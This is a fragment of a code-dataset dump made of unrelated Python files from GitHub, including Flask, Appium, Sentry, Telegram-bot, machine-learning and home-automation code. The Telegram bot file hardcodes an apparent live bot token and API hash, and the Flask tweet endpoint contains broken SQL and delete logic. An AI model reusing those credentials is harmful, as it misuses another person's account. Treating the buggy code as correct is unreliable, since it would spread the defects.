name='data_schema_validation'),\r\n]\r\n","repo_name":"cspark777/Realtime-Data-analysist-platform","sub_path":"integration/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4692106680","text":"from __future__ import absolute_import\n\nimport inspect\n\nfrom raven.base import Client\n\n\nclass SentryMiddleware(object):\n \"\"\"Sentry/Raven middleware for ZeroRPC.\n\n >>> import zerorpc\n >>> from raven.contrib.zerorpc import SentryMiddleware\n >>> sentry = SentryMiddleware(dsn='udp://..../')\n >>> zerorpc.Context.get_instance().register_middleware(sentry)\n\n Exceptions detected server-side in ZeroRPC will be submitted to Sentry (and\n propagated to the client as well).\n \"\"\"\n\n def __init__(self, hide_zerorpc_frames=True, client=None, **kwargs):\n \"\"\"\n Create a middleware object that can be injected in a ZeroRPC server.\n\n - hide_zerorpc_frames: modify the exception stacktrace to remove the\n internal zerorpc frames (True by default to make\n the stacktrace as readable as possible);\n - client: use an existing raven.Client object, otherwise one will be\n instantiated from the keyword arguments.\n \"\"\"\n self._sentry_client = client or Client(**kwargs)\n self._hide_zerorpc_frames = hide_zerorpc_frames\n\n def server_inspect_exception(self, req_event, rep_event, task_ctx, exc_info):\n \"\"\"\n Called when an exception has been raised in the code run by ZeroRPC\n \"\"\"\n # Hide the zerorpc internal frames for readability, for a REQ/REP or\n # REQ/STREAM server the frames to hide are:\n # - core.ServerBase._async_task\n # - core.Pattern*.process_call\n # - core.DecoratorBase.__call__\n #\n # For a PUSH/PULL or PUB/SUB server the frame to hide is:\n # - core.Puller._receiver\n if self._hide_zerorpc_frames:\n traceback = exc_info[2]\n while traceback:\n zerorpc_frame = traceback.tb_frame\n zerorpc_frame.f_locals['__traceback_hide__'] = True\n frame_info = inspect.getframeinfo(zerorpc_frame)\n # Is there a better way than this (or looking up the filenames\n # or hardcoding the number of frames to skip) to know when we\n # are out of zerorpc?\n if frame_info.function == '__call__' \\\n or frame_info.function == '_receiver':\n break\n traceback = traceback.tb_next\n\n self._sentry_client.captureException(\n exc_info,\n extra=task_ctx\n )\n","repo_name":"getsentry/raven-python","sub_path":"raven/contrib/zerorpc/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":1678,"dataset":"github-code","pt":"60"} +{"seq_id":"19286779620","text":"import json\n\n\ndef sum(a, b):\n return a + b\n\n\ndef division(a, b):\n return a / b\n\n\ndef get_most_ordered_dish_per_costumer(orders, customer):\n max_amount = 0\n most_ordered = \"\"\n customer_dishes = {}\n\n for order in orders:\n if order[\"customer\"] == customer:\n customer_dishes[order[\"order\"]] = (\n customer_dishes.get(order[\"order\"], 0) + 1\n )\n if customer_dishes[order[\"order\"]] >= max_amount:\n max_amount = customer_dishes[order[\"order\"]]\n most_ordered = order[\"order\"]\n return most_ordered\n\n\ndef get_order_frequency_per_costumer(orders, customer, order):\n counter = 0\n for current_order in orders:\n if (\n current_order[\"customer\"] == customer\n and current_order[\"order\"] == order\n ):\n counter += 1\n return counter\n\n\ndef retrieve_pokemons_by_type(type, reader):\n # reader is a file object\n # json.load is a function that loads a json file\n pokemons = json.load(reader)[\"results\"]\n pokemons_by_type = [\n pokemon for pokemon in pokemons if type in pokemon[\"type\"]\n ]\n return pokemons_by_type\n","repo_name":"lucasdximenes/trybe-exercises","sub_path":"computer-science/bloco32/32-3_python_tests/example/some_file.py","file_name":"some_file.py","file_ext":"py","file_size_in_byte":1173,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"24344071240","text":"#12-3、4、5、6节课，main.py market.py search.py test_main.py\nimport yaml\nfrom appium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webdriver import WebDriver\n\n\n#引进了singleton（装饰器模式）后，类变成了单例类\n\nfrom frame.hand_black import handle_black\n\n\n\n'''\n@singleton\n'''\nclass BasePage:\n #封装一个黑名单，将resource-id引进去。注意它是一个元组\n black_list = [(By.XPATH, \"//*[@resource-id='com.xueqiu.android:id/iv_close']\")]\n max_num = 3 #加下划线,保护数据类型\n error_num = 0\n\n def __init__(self, driver: WebDriver = None):\n '''\n 初始化应用\n '''\n if driver is None:\n desired_caps = {}\n desired_caps['platformName'] = 'Android'\n desired_caps['deviceName'] = '127.0.0.1:7555'\n desired_caps['appPackage'] = 'com.xueqiu.android'\n desired_caps['appActivity'] = '.view.WelcomeActivityAlias'\n desired_caps['noReset'] = 'True'\n # desired_caps[\"settings[waitForIdleTimeout]\"] = 0\n self.driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n self.driver.implicitly_wait(10)\n else:\n self.driver = driver\n\n '''\n #1)2)\n #by查找方法，locator查找的定位方式\n def find(self,by,locator=None):\n try:\n if locator is None:\n #如果传的参数是一个，只有by，就解元组\n result = self.driver.find_element(*by)\n else:\n #如果传的元素有两个，既有by，又有locator\n result = self.driver.find_element(by,locator)\n self._error_num = 0\n return result\n #捕获黑名单中的元素\n except Exception as e:\n #超过最大查找次数会抛异常，若不超过会一直查找\n if self._error_num > self._max_num:\n raise e\n self._error_num +=1\n #从黑名单中遍历元素，依次进行处理\n for black_ele in self._black_list:\n ele = self.driver.find_elements(*black_ele)\n if len(ele) > 0:\n ele[0].click()\n #处理完黑名单后，再次查找原来的元素\n return self.find(by,locator)\n raise e\n '''\n #4)封装find方法\n @handle_black\n def find(self, by, locator=None):\n if locator is None:\n # 如果传的参数是一个，只有by，就解元组\n result = self.driver.find_element(*by)\n else:\n # 如果传的元素有两个，既有by，又有locator\n result = self.driver.find_element(by, locator)\n return result\n\n def parse_yaml(self, path, func_name):\n with open(path, encoding=\"utf-8\") as f:\n data = yaml.load(f)\n self.parse(data[func_name])\n\n def parse(self, steps):\n for step in steps:\n if 'click' == step['action']:\n self.find(step['by'],step['locator']).click()\n elif 'send' == step['action']:\n self.find(step['by'], step['locator']).send_keys(step['content'])\n\n\n","repo_name":"flyniandream/HogwartsSDET_15","sub_path":"frame/base_page.py","file_name":"base_page.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72439950912","text":"def dfs(x):\n if len(result) == n:\n print(\" \".join(map(str, result)))\n for i in range(1, n+1):\n if i not in result:\n result.append(i)\n dfs(i)\n result.pop()\n\nn = int(input())\nresult=[]\ndfs(1) #1부터 시작","repo_name":"JaeEunSeo/Algorithm-Study","sub_path":"jieun/Week10/모든순열.py","file_name":"모든순열.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5717166238","text":"from app import app\nfrom functions import connection\nfrom flask import request, Response\nimport json\nimport mariadb\n\n\n@app.route(\"/api/tweets\", methods=['GET', 'POST', 'PATCH', 'DELETE'])\ndef tweets():\n conn = None\n cursor = None\n (conn, cursor) = connection()\n if request.method == 'GET':\n params = request.args\n userId = params.get('userId')\n if params:\n cursor.execute('SELECT * from tweet INNER JOIN user ON tweet.user_id = user.id WHERE user_id = ?', [userId,])\n userTweets = cursor.fetchall()\n tweetArray = []\n for tweet in userTweets:\n tweetDict = {\n \"tweetId\" : tweet[0],\n \"userId\" : tweet[1],\n \"username\" : tweet[4],\n \"content\" : tweet[2],\n \"CreatedAt\" : tweet[3],\n \"userImageUrl\" : tweet[10],\n \"tweetImageUrl\" : tweet[11]\n }\n tweetArray.append(tweetDict)\n return Response(json.dumps(tweetArray, default=str),\n mimetype= 'application/json',\n status=200)\n else:\n return Response(\"This user does not have any tweets yet\",\n mimetype='text/plain',\n status=400)\n \n \n elif request.method == 'POST':\n cursor.execute(\"SELECT user_id FROM user_session WHERE login_token = ?\", [request.json.get('loginToken'),])\n result = cursor.fetchall()\n userId = None\n if cursor.rowcount == 1:\n userId = result[0][0]\n newTweet = request.json.get('content')\n cursor.execute('INSERT INTO tweet(user_id, content) VALUES (?,?)', [userId, newTweet])\n conn.commit()\n cursor.execute('SELECT * FROM tweet INNER JOIN user ON tweet.user_id = user.id')\n tweets = cursor.fetchall()\n \n tweetArray = []\n for tweet in tweets:\n tweetDict = {\n \"tweetId\" : tweet[0],\n \"userId\" : tweet[1],\n \"username\" : tweet[6],\n \"userImageUrl\" : tweet[10],\n \"content\" : tweet[2],\n \"createdAt\" : tweet[3],\n \"imageUrl\" : tweet[11]\n }\n tweetArray.append(tweetDict)\n print(tweetArray)\n return Response(json.dumps(tweetArray, default=str),\n mimetype= 'application/json',\n status=201)\n else:\n return Response(\"User does not exist\",\n mimetype='text/plain',\n status=400)\n \n \n elif request.method == 'PATCH':\n cursor.execute(\"SELECT user_id FROM user_session WHERE login_token = ?\", [request.json.get('loginToken'),])\n result = cursor.fetchall()\n userId = None\n if cursor.rowcount == 1:\n userId = result[0][0]\n cursor.execute('SELECT id, content FROM tweet WHERE user_id = ?', [userId])\n tweetId = cursor.fetchall()\n\n cursor.execute('UPDATE tweet SET content = ? WHERE id = ?', [request.json.get('content'), request.json.get('tweetId')])\n cursor.execute('SELECT id, content FROM tweet WHERE user_id = ?', [userId])\n updatedTweet = cursor.fetchall()\n idArray = []\n for tweet in updatedTweet:\n idDict = {\n \"tweetId\" : tweet[0],\n \"content\" : tweet[1]\n }\n idArray.append(idDict)\n print(updatedTweet)\n conn.commit()\n return Response(json.dumps(idArray, default=str),\n mimetype='application.json',\n status=200)\n else:\n return Response(\"Error\",\n mimetype = 'text/plain',\n status = 400)\n elif request.method == 'DELETE':\n userId = request.json.get('userId')\n cursor.execute('SELECT login_token from user_session')\n token = cursor.fetchall()\n print(token)\n cursor.execute('SELECT tweet.id FROM tweet INNER JOIN user_session ON tweet.user_id = user_session.user_id')\n tweetId = cursor.fetchone()\n print(tweetId)\n\n if cursor.rowcount == 1: \n cursor.execute('DELETE * from tweet WHERE id = ? AND login_Token = ?', [tweetId, token])\n conn.commit()\n else:\n return Response(\"You are trying to delete multiple tweets at once\")\n return Response(\"Delete successful\") \n","repo_name":"RC1595/tweeter2","sub_path":"tweeter2/endpoints/tweets.py","file_name":"tweets.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73160185151","text":"\nfrom pyrogram import Client, filters\nfrom time import sleep\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nimport logging\nimport os\n\nplugins = dict(\n root=\"plugins\"\n)\n\nBot = Client(\n \"bbdot\",\n bot_token = \"5446399383:AAFdoqkmmOmNLWorxOlvRKo-VXaOQc48sVE\",\n api_id = 2171111,\n api_hash = \"fd7acd07303760c52dcc0ed8b2f73086\",\n plugins=plugins,\n)\nimport pytz\nfrom datetime import date, datetime\nUTC = pytz.utc\nIST = pytz.timezone('Asia/Kolkata')\ndatetime_ist = datetime.now(IST)\ndt = datetime_ist.strftime('%Y:%m:%d %H:%M:%S')\nprint(dt)\nwith Bot:\n Bot.send_message(-1001497428213, \"Im started..\"+\"\\n\"+dt,reply_markup = InlineKeyboardMarkup([[InlineKeyboardButton(text='CHECK STATUS', callback_data='alive')]]))\n@Bot.on_message(filters.command([\"restart\"]))\nasync def restart(_, message):\n m = message\n id = m.from_user.id\n if id != 1089528685:\n await m.delete()\n time.sleep(3)\n mm = await m.reply_sticker(\n \"CAACAgUAAx0CYF-hHQACVotid_YH5QunOUMFwF2C1HwkWEjGNAAC6wIAAsYNkFeYvtc3bIYTMB4E\"\n )\n await m.reply_text(\n \"contact @s4tyendra to use this bot\\nor wait a week! and dont block me\"\n )\n\nprint(\"starting..raaa\")\nBot.run()\n","repo_name":"im-Satyendra/never1","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"33780338215","text":"\"\"\"\r\nChandler Ross\r\nSecond Gradient Boosting Script\r\nThe goal of this script is to improve upon the one made before and to ...\r\n\"\"\"\r\n\"\"\"\r\nPseudo Code:\r\n Import libraries\r\n 0: Import the data and get it ready \r\n 1: \r\n\"\"\"\r\n\r\n#Import the necessary libraries\r\nimport numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\n\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.ensemble import GradientBoostingClassifier\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.metrics import roc_auc_score\r\nimport pickle\r\n\r\nimport matplotlib.pylab as plt\r\nimport os, time\r\n\r\n#I want to see how long the process takes\r\nstart_time = time.time()\r\n\r\n#=======================================================================================================================\r\n# Step 0: Read In the data and clean\r\n#=======================================================================================================================\r\n#import the data\r\n# df_train = pd.read_csv('E:/Thesis/Scripts/python_project/training_data/l5_7_training.csv')\r\n\r\n#dummy data to ensure it works\r\ndf_train = pd.read_csv('F:/Thesis/Scripts/pirateShip/training_combined/miniSample2.csv')\r\n\r\n#get the columns\r\nprint(df_train.columns)\r\nrow_len = len(df_train.index)\r\nprint('row #: ', row_len)\r\n\r\n#clean the data by getting rid of unnecessary colums\r\ndf_train.drop(['X'], axis=1, inplace=True)\r\ndf_train.drop(['Y'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B1'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B2'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B3'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B4'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B5'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B6'], axis=1, inplace=True)\r\ndf_train.drop(['SR_B7'], axis=1, inplace=True)\r\ndf_train.drop(['NoBurn'], axis=1, inplace=True)\r\ndf_train.drop(['Burn'], axis=1, inplace=True)\r\ndf_train.drop(['ST_B6'], axis=1, inplace=True)\r\n\r\n#make the ones for the different levels\r\n# df_train.drop(['X50Per'], axis=1, inplace=True)\r\n# df_train.drop(['X80Per'], axis=1, inplace=True)\r\n\r\ndf_train.drop(['X50Per'], axis=1, inplace=True)\r\ndf_train.drop(['X80Per'], axis=1, inplace=True)\r\n\r\n# df_train.drop(['X50Per'], axis=1, inplace=True)\r\n# df_train.drop(['X20Per'], axis=1, inplace=True)\r\n\r\n\r\n#Drops all rows with at least one null value.\r\ndf_train = df_train.dropna()\r\nnew_len = len(df_train.index)\r\namt_dropped = row_len - new_len\r\nprint(\"# of Rows Dropped: {}\".format(amt_dropped))\r\n\r\n#=======================================================================================================================\r\n# Step 1: create independent and dependent variables\r\n#=======================================================================================================================\r\n\r\n# Then the dataframe is split into train and test datasets using sklean's train_test_split function\r\n#Separate the dependent from the independent variables\r\nvar_columns = [c for c in df_train.columns if c not in ['X20Per']]\r\n\r\nx = df_train.loc[:,var_columns] #predictors/independent variables\r\ny = df_train.loc[:,'X20Per'] #dependent variable\r\n\r\n\r\n#make the training and testing data from the data set\r\nx_train, x_valid, y_train, y_valid = train_test_split(x, y, test_size=0.5, random_state=42)\r\nprint('x_train: {} \\nx_valid: {} \\ny_train: {}\\ny_valid: {}\\n'.format(x_train.shape, x_valid.shape, y_train.shape, y_valid.shape))\r\n\r\n\r\n#=======================================================================================================================\r\n# Step 2: Create a Simple GBM and Evaluate Performance\r\n#=======================================================================================================================\r\n\r\n#---------\r\n\r\n#make the parameters\r\n #Learning Rate\r\n #In the paper her used these following learning rates\r\n #\r\n #\r\n #\r\n #Num estimators\r\n #In the paper her used these following estimators\r\n #\r\n #\r\n #\r\n #Max Depth\r\n #In the paper he used the following tree depths\r\n #\r\n #\r\n #\r\n #min samples leaf\r\n #In the paper he used the following tree depths\r\n #\r\n #\r\n #\r\n\r\n#---------\r\n\r\n\r\n#make the model\r\nmodel_gbm = GradientBoostingClassifier(loss = 'deviance', # Default & Hawbaker used\r\n learning_rate = 0.05,\r\n n_estimators = 2500,\r\n subsample = 0.5, # Hawbaker used (he also used 0.75)\r\n criterion = 'friedman_mse', # Default\r\n min_samples_split = 2, # Default\r\n min_samples_leaf = 1, # Default\r\n min_weight_fraction_leaf = 0.0, # Default\r\n max_depth = 3, # Default\r\n min_impurity_decrease = 0.0, # Default\r\n init = None, # Default\r\n random_state = 25, # Hawbaker used\r\n max_features = 'sqrt', # Hawbaker used\r\n verbose = 0, # Default\r\n max_leaf_nodes = None, # Default\r\n warm_start = False, # Default\r\n validation_fraction = 0.1, # Default\r\n n_iter_no_change = None, # Default\r\n tol = 1e-4, # Default\r\n ccp_alpha = 0.0 # Default\r\n )\r\n\r\n#train the model with the data\r\nmodel_gbm.fit(x_train, y_train)\r\n\r\n# with open('./model/ottos_pickle.pkl', 'wb') as model_file:\r\n# pickle.dump(model_gbm, model_file)\r\n#\r\n#\r\n# with open('./model/ottos_pickle.pkl', 'rb') as model_file:\r\n# model_gbm = pickle.load(model_file)\r\n\r\n# Look at how many estimators/trees were finally created during training\r\nprint(\"# of trees used in the model: \",len(model_gbm.estimators_))\r\n\r\n#finds the performance on the training dataset and the validation training set\r\n#gives the prediction of the probability\r\ny_train_pred = model_gbm.predict_proba(x_train)[:,1]\r\ny_valid_pred = model_gbm.predict_proba(x_valid)[:,1]\r\n\r\nprint(\"AUC Train: {:.4f}\\nAUC Valid: {:.4f}\".format(roc_auc_score(y_train, y_train_pred),\r\n roc_auc_score(y_valid, y_valid_pred)))\r\n\r\n\r\n#=======================================================================================================================\r\n# Step 3: Look at Performance with Respect to Number of Trees\r\n#=======================================================================================================================\r\n\"\"\"\r\n#staged_predict_proba function allows us to look at predictions at for different number of trees in the model\r\ny_train_pred_trees = np.stack(list(model_gbm.staged_predict_proba(x_train)))[:,:,1]\r\ny_valid_pred_trees = np.stack(list(model_gbm.staged_predict_proba(x_valid)))[:,:,1]\r\nprint(y_train_pred_trees.shape, y_valid_pred_trees.shape)\r\n#shos how each additional tree changes the score\r\nauc_train_trees = [roc_auc_score(y_train, y_pred) for y_pred in y_train_pred_trees]\r\nauc_valid_trees = [roc_auc_score(y_valid, y_pred) for y_pred in y_valid_pred_trees]\r\nplt.figure(figsize=(12,5))\r\nplt.plot(auc_train_trees, label='Train Data')\r\nplt.plot(auc_valid_trees, label='Valid Data')\r\nplt.title('AUC vs Number of Trees')\r\nplt.ylabel('Area Under the Curve')\r\nplt.xlabel('Number of Trees')\r\nplt.legend()\r\n#plot shows the model performance\r\nprint(plt.show())\r\n#=======================================================================================================================\r\n# Step 4: Feature Importance\r\n#=======================================================================================================================\r\n#this shows how useful a predictor is\r\n#Low importance features can be removed from the model for simpler, faster and more stable model\r\n#get the columns of x\r\nvar_columns = x.columns\r\npredictor_importance = pd.DataFrame({\"Variable_Name\":var_columns,\r\n \"Importance\":model_gbm.feature_importances_}) \\\r\n .sort_values('Importance', ascending=False)\r\nprint(predictor_importance)\r\n\"\"\"\r\n#=======================================================================================================================\r\n# Step 5: Apply the model to real Data\r\n#=======================================================================================================================\r\n\r\n'''\r\n#call in the data\r\ndef read_data(fp_in_img, raster_driver_name='GTiff'):\r\n \"\"\"\r\n register GDAL Driver and read input image file\r\n :param fp_in_img:\r\n :param raster_driver_name:\r\n :return: gdal.dataset\r\n \"\"\"\r\n if raster_driver_name is None:\r\n gdal.AllRegister()\r\n else:\r\n driver = gdal.GetDriverByName(raster_driver_name)\r\n driver.Register()\r\n dataset = gdal.Open(fp_in_img, gdalconst.GA_ReadOnly)\r\n if dataset is None:\r\n print(\"Error: Could not read '{}'\".format(fp_in_img))\r\n sys.exit()\r\n return dataset\r\nraster_data = read_data('./output/LT05_CU_004013_20011012.tif')\r\n'''\r\n'''\r\n#The following is from http://patrickgray.me/open-geo-tutorial/chapter_5_classification.html\r\nimport rasterio\r\nfrom rasterio.plot import show\r\nfrom rasterio.plot import show_hist\r\nfrom rasterio.windows import Window\r\nfrom rasterio.plot import reshape_as_raster, reshape_as_image\r\nimg_fp = './output/LE07_CU_004013_20000103.tif'\r\n#change from rasterio to gdal numpy array, this should help things maybe\r\nwith rasterio.open(img_fp) as src:\r\n # may need to reduce this image size if your kernel crashes, takes a lot of memory\r\n img = src.read()[:, 150:600, 250:1400]\r\n #I will try the entire image\r\n # img = src.read()\r\n# Take our full image and reshape into long 2d array (nrow * ncol, nband) for classification\r\n# print(img.shape)\r\nreshaped_img = reshape_as_image(img)\r\nprint(reshaped_img.shape)\r\nnew_arr = (img.shape[2] * img.shape[1], img.shape[0])\r\nprint(img[:17, :, :])\r\nprint(img.shape)\r\nprint(new_arr)\r\nreshaped_img = img[:17, :, :].reshape(new_arr)\r\nreshaped_img[np.isnan(reshaped_img)] = - 999\r\n#check for NaNs\r\nprint(np.isnan(reshaped_img).any())\r\n# #print(reshaped_img.reshape(-1, 17))\r\nclass_prediction = model_gbm.predict(reshaped_img.reshape(-1, 17))\r\n# Reshape our classification map back into a 2D matrix so we can visualize it\r\n# class_prediction = class_prediction.reshape(reshaped_img[0, :, :].shape)\r\nclass_prediction = class_prediction.reshape(img[0, :, :].shape)\r\ndef str_class_to_int(class_array):\r\n class_array[class_array == 'Not Burned'] = 0\r\n class_array[class_array == 'Burned'] = 1\r\n return(class_array.astype(int))\r\nclass_prediction = str_class_to_int(class_prediction)\r\nprint(class_prediction.shape)\r\nnum_rows = class_prediction.shape[0]\r\nnum_cols = class_prediction.shape[1]\r\nimport libs.indices as ind\r\nind.output_single_band_raster(data=class_prediction, out_fp='.gb_output/test.tif', col_size=num_cols,\r\n row_size=num_rows, num_band=1, raster_driver_name='GTiff',\r\n projection=None, geotransform=None, metadata=None, nodataval=-9999)\r\nprint(type(class_prediction))\r\n'''\r\n\r\n","repo_name":"chandleraross/burned_area_classification","sub_path":"GradientBoostedTraining.py","file_name":"GradientBoostedTraining.py","file_ext":"py","file_size_in_byte":11330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"13412903757","text":"import turtle\n\n\ndef david():\n for step in range(6):\n for i in range(3):\n turtle.forward(30)\n turtle.left(360 / 3) \n turtle.forward(30)\n turtle.right(60)\n\n\nturtle.shape('turtle')\nturtle.shapesize(2)\nturtle.color('blue')\nturtle.pensize(10)\nturtle.speed(5)\n\n\ndavid()\n\n\nturtle.hideturtle()\n","repo_name":"JuMarkelova/david_star","sub_path":"star_david.py","file_name":"star_david.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12176057892","text":"#!/usr/bin/env python\nimport RPi.GPIO as GPIO\n\nGPIO.setmode(GPIO.BOARD)\n\npins = [8,10,16]\n\nfor pin in pins:\n\tGPIO.setup(pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\noutput = ''\nfor pin in pins:\n\n\tif not GPIO.input(pin):\n\t\toutput+= '1'\n\telse:\n\t\toutput += '0'\n\noutput = output[::-1]\nprint(output)\n","repo_name":"wjmccann/P4wnP1-Bilby","sub_path":"selector.py","file_name":"selector.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"60"} +{"seq_id":"20721259776","text":"# -*- coding: utf-8 -*-\n\"\"\"The update process of the server :\n\nwill be used to update the computer on which the server is installed.\n\nIdeally , we need only one updater by computer (or many in the case of many virtual env).\n\nWhat should we update ? :\n - the time : with the help of ntp ?\n - distribution packages\n - janitoo distribution packages\n - janitoo python modules\n\nMost of this operations need the help of root user. We should prefer the use of sudo.\n\nSome of them should be done using the cron system of the janitoo user : https://pypi.python.org/pypi/python-crontab. Date and time should be updatable by the user.\nThe use can disable them too.\n\n\n\"\"\"\n\n__license__ = \"\"\"\n This file is part of Janitoo.\n\n Janitoo is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n Janitoo is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with Janitoo. If not, see .\n\n\"\"\"\n__author__ = 'Sébastien GALLET aka bibi21000'\n__email__ = 'bibi21000@gmail.com'\n__copyright__ = \"Copyright © 2013-2014-2015-2016 Sébastien GALLET aka bibi21000\"\n\n# Set default logging handler to avoid \"No handler found\" warnings.\nimport logging\nlogger = logging.getLogger(__name__)\nimport sys\nimport threading\nimport signal\nimport time\nimport uuid as muuid\nfrom pkg_resources import iter_entry_points\nfrom logging.config import fileConfig as logging_fileConfig\n\nfrom janitoo.utils import HADD, json_dumps, json_loads\nfrom janitoo.utils import JanitooNotImplemented, JanitooException\nfrom janitoo.utils import TOPIC_NODES, TOPIC_NODES_REPLY, TOPIC_NODES_REQUEST\nfrom janitoo.utils import TOPIC_BROADCAST_REPLY, TOPIC_BROADCAST_REQUEST\nfrom janitoo.utils import TOPIC_VALUES_USER, TOPIC_VALUES_CONFIG, TOPIC_VALUES_BASIC, TOPIC_HEARTBEAT\nfrom janitoo.options import JNTOptions\nfrom janitoo.node import JNTNode\nfrom janitoo.mqtt import MQTTClient\n\nclass JNTServer(object):\n \"\"\"The Janitoo base Server\n\n \"\"\"\n def __init__(self, options):\n \"\"\"Init the server. Must be called at the begin of the children class.\n \"\"\"\n self._stopevent = threading.Event()\n self.options = JNTOptions(options)\n signal.signal(signal.SIGTERM, self.sigterm_handler)\n #Need more tests\n signal.signal(signal.SIGHUP, self.sighup_handler)\n signal.signal(signal.SIGUSR1, self.sigusr1_handler)\n self._threads = []\n if 'conf_file' in self.options.data and self.options.data['conf_file'] is not None:\n logging_fileConfig(self.options.data['conf_file'])\n self.loop_sleep = 0.25\n loop_sleep = self.options.get_option('system','loop_sleep')\n if loop_sleep is not None:\n try:\n self.loop_sleep = float(loop_sleep)\n except Exception:\n logger.exception(\"[%s] - Exception when retrieving value of loop_sleep. Use default value instead\", self.__class__.__name__)\n self.slow_start = 0.05\n slow_start = self.options.get_option('system','slow_start')\n if slow_start is not None:\n try:\n self.slow_start = float(slow_start)\n except Exception:\n logger.exception(\"[%s] - Exception when retrieving value of slow_start. Use default value instead\", self.__class__.__name__)\n\n def start(self):\n \"\"\"Start the server. Must be called at the end of the children class.\n \"\"\"\n logger.info(\"[%s] - Start the server\", self.__class__.__name__)\n self._stopevent.clear()\n self.start_threads()\n\n def start_threads(self):\n \"\"\"Start the threads associated to this server.\n \"\"\"\n for entry in iter_entry_points(group='janitoo.threads', name=None):\n th=None\n try:\n mkth = entry.load()\n th = mkth(self.options.data)\n except ImportError:\n logger.exception(\"[%s] - Exception when loading thread from entry_point\", self.__class__.__name__)\n if th is not None:\n self._threads.append(th)\n for th in self._threads:\n th.start()\n self._stopevent.wait(self.slow_start)\n logger.info(\"[%s] - Loaded thread(s) from entry_point : %s\", self.__class__.__name__, self._threads)\n if len(self._threads) == 0:\n logger.error(\"[%s] - Can't find a thread to launch in the config file\", self.__class__.__name__)\n raise JanitooException(message=\"Can't find a thread to launch in the config file\")\n logger.info(\"[%s] - Loaded thread(s) from entry_point : %s\", self.__class__.__name__, self._threads)\n\n def pre_loop(self):\n \"\"\"Before enterig the loop\n \"\"\"\n pass\n\n def post_loop(self):\n \"\"\"After the loop\n \"\"\"\n pass\n\n def run(self):\n \"\"\"Run the loop\n \"\"\"\n i = 0\n self.pre_loop()\n while not self._stopevent.isSet():\n i += 1\n self._stopevent.wait(self.loop_sleep)\n self.post_loop()\n\n def stop(self):\n \"\"\"Stop the server. Must be called at begin if overloaded in the children class\n \"\"\"\n logger.info(\"[%s] - Stop the server\", self.__class__.__name__)\n self._stopevent.set( )\n for th in self._threads:\n th.stop()\n for th in self._threads:\n if th.is_alive():\n th.join()\n self._threads = []\n\n def reload_threads(self):\n \"\"\"Reload the threads\n \"\"\"\n logger.debug(\"[%s] - Reload threads\", self.__class__.__name__)\n for th in self._threads:\n th.trigger_reload()\n\n def reload(self):\n \"\"\"Reload the server\n \"\"\"\n logger.info(\"[%s] - Reload the server\", self.__class__.__name__)\n self.stop()\n while len(self._threads)>0:\n self._stopevent.wait(self.loop_sleep*10)\n time.sleep(1.0)\n self.start()\n\n def flush(self):\n \"\"\"Flush the server's data to disk\n \"\"\"\n pass\n\n def _get_egg_path(self):\n \"\"\"Return the egg path of the module. Must be redefined in server class.\n \"\"\"\n raise JanitooNotImplemented('_get_egg_path not implemnted')\n\n def sigterm_handler(self, signal, frame):\n \"\"\"Catch SIGTERM signal\n \"\"\"\n print(('TERM signal received : %s' % (signal)))\n logger.warning('[%s] - TERM signal received : %s', self.__class__.__name__, signal)\n self.stop()\n sys.exit(0)\n\n def sighup_handler(self, signal, frame):\n \"\"\"Catch SIGHUP signal\n \"\"\"\n print(('HUP signal received : %s' % (signal)))\n logger.warning('[%s] - HUP signal received : %s', self.__class__.__name__, signal)\n self.reload()\n sys.exit(0)\n\n def sigusr1_handler(self, signal, frame):\n \"\"\"Catch SIGUSR1 signal\n The server must flush its data to disk\n The mosquitto broker use it to persist its database to disk.\n \"\"\"\n print(('USR1 signal received : %s' % (signal)))\n logger.warning('[%s] - USR1 signal received : %s', self.__class__.__name__, signal)\n self.reload()\n sys.exit(0)\n\n##############################################################\n#Check that we are in sync with the official command classes\n#Must be implemented for non-regression\nfrom janitoo.classes import COMMAND_DESC\n\nCOMMAND_DHCPD = 0x1000\nCOMMAND_CONTROLLER = 0x1050\nCOMMAND_DISCOVERY = 0x5000\n\nassert(COMMAND_DESC[COMMAND_DISCOVERY] == 'COMMAND_DISCOVERY')\nassert(COMMAND_DESC[COMMAND_CONTROLLER] == 